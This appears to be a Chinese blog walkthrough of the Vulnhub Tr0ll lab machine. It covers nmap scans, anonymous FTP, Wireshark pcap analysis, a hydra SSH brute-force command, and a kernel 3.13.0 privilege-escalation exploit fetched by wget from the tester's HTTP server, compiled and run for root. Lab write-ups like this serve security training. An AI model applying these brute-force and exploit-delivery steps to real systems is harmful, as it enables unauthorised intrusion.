Vulnhub靶场 4-Tr0ll

2024-03-07 1,006 0

Namp -sP 192.168.136.0/24确定目标ip,nmap -p- -sS -sV -A 192.168.136.134扫端口

Vulnhub靶场 4-Tr0ll插图

Vulnhub靶场 4-Tr0ll插图1

这里允许ftp匿名登录

通过21端口ftp服务进行渗透,匿名登陆

ftp + 对方ip地址

账号和密码都使用Anonymous

Vulnhub靶场 4-Tr0ll插图2

ftp中使用dir查看有哪些文件

Vulnhub靶场 4-Tr0ll插图3

使用get+文件名下载文件到本机

Vulnhub靶场 4-Tr0ll插图4

pcap是wireshark配置脚本文件,流量文件,直接打开会显示乱码,使用wireshark进行分析

用wireshark打开文件

Vulnhub靶场 4-Tr0ll插图5

选择一个右键追踪tcp流

Vulnhub靶场 4-Tr0ll插图6

Vulnhub靶场 4-Tr0ll插图7

为什么要追踪tcp流呢,因为刚刚是通过ftp下载的文件,ftp是tcp协议

Vulnhub靶场 4-Tr0ll插图8

Vulnhub靶场 4-Tr0ll插图9

过滤第一条流,右键追踪tcp流,看到有个文件

Vulnhub靶场 4-Tr0ll插图10

通常访问文件是通过浏览器访问,用浏览器访问ip

Vulnhub靶场 4-Tr0ll插图11

对目录进行爆破

爆破不出什么

Vulnhub靶场 4-Tr0ll插图12

过滤第二条流

Vulnhub靶场 4-Tr0ll插图13

Vulnhub靶场 4-Tr0ll插图14

这里得到一些信息,大致意思是差点找到

好吧,好吧,好吧,你不就是一个聪明的小恶魔吗,你差点找到了 sup3rs3cr3tdirlol :-P

糟透了,你离得太近了......必须更加努力!

得到一个目录sup3rs3cr3tdirlol

放到浏览器url后面

Vulnhub靶场 4-Tr0ll插图15

点击第二个,结果是进行下载

Vulnhub靶场 4-Tr0ll插图16

得到这个文件

Vulnhub靶场 4-Tr0ll插图17

但不知道这个文件是用什么软件打开的,什么类型,kali自带一个file跟文件名的指令是判断当前文件是什么类型

Vulnhub靶场 4-Tr0ll插图18

是32位ELF二进制文件

Kali可以通过strings打开二进制文件,strings 命令在对象文件或二进制文件中查找可打印的字符串。

Vulnhub靶场 4-Tr0ll插图19

找到0x0856BF继续,复制到浏览器后面

Vulnhub靶场 4-Tr0ll插图20

找到目录

Vulnhub靶场 4-Tr0ll插图21

得到gook_luck文件里面疑是用户名,下面的文件是密码

Vulnhub靶场 4-Tr0ll插图22

这个文件名也可能是密码

Vulnhub靶场 4-Tr0ll插图23

现在得到用户名和密码,则用来爆破22端口的ssh服务,将得到用户名和密码新建文件粘贴进去

Vulnhub靶场 4-Tr0ll插图24

爆破需要用到九头蛇软件

hydra -L user.txt -p Pass.txt 192.168.136.134 ssh

Vulnhub靶场 4-Tr0ll插图25

得到正确的用户名和密码

使用ssh 用户名@ip,再输入密码就OK了,连接上了

Vulnhub靶场 4-Tr0ll插图26

输入python指令,稳定shell

Vulnhub靶场 4-Tr0ll插图27

使用内核版本进行提权,查找版本的指令是uname -a

Vulnhub靶场 4-Tr0ll插图28

在kali中找到对应linux版本的exp,通过searchsploit Kernel 3.13.0查找版本为3.13.0的exp

Kernel是内核的意思

Vulnhub靶场 4-Tr0ll插图29

找到对应的exp

Vulnhub靶场 4-Tr0ll插图30

选择.c后缀的文件,因为是可执行文件

Vulnhub靶场 4-Tr0ll插图31

找到文件的绝对路径,使用locate指令

Vulnhub靶场 4-Tr0ll插图32

复制到桌面上

Vulnhub靶场 4-Tr0ll插图33

开启http服务

Vulnhub靶场 4-Tr0ll插图34

服务器切记要切换到tmp文件夹下,不然没权限

Vulnhub靶场 4-Tr0ll插图35

wget http://192.168.136.131:8081/37292.c

下载成功

Vulnhub靶场 4-Tr0ll插图36

.c后缀的文件需要编译后才能执行,使用gcc 37292.c -o caicai

Gcc 文件名 -o 编译后的文件名

编译完后,赋可执行权限,执行文件

Vulnhub靶场 4-Tr0ll插图37

Vulnhub靶场 4-Tr0ll插图38

得到权限Vulnhub靶场 4-Tr0ll插图39

查看root文件夹下的proof.txt文件

Vulnhub靶场 4-Tr0ll插图40


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

苹果试图保护你的隐私,OpenAI可能做不到
Shuffle:一款完全自动化的安全栈增强平台
如何使用CODASM编码Payload并降低熵值
SessionExec:一款针对会话安全的安全命令测试工具
Arkime:一款大规模数据包捕获和索引数据库系统
从蓝队流量角度分析Shiro-550反序列化漏洞

发布评论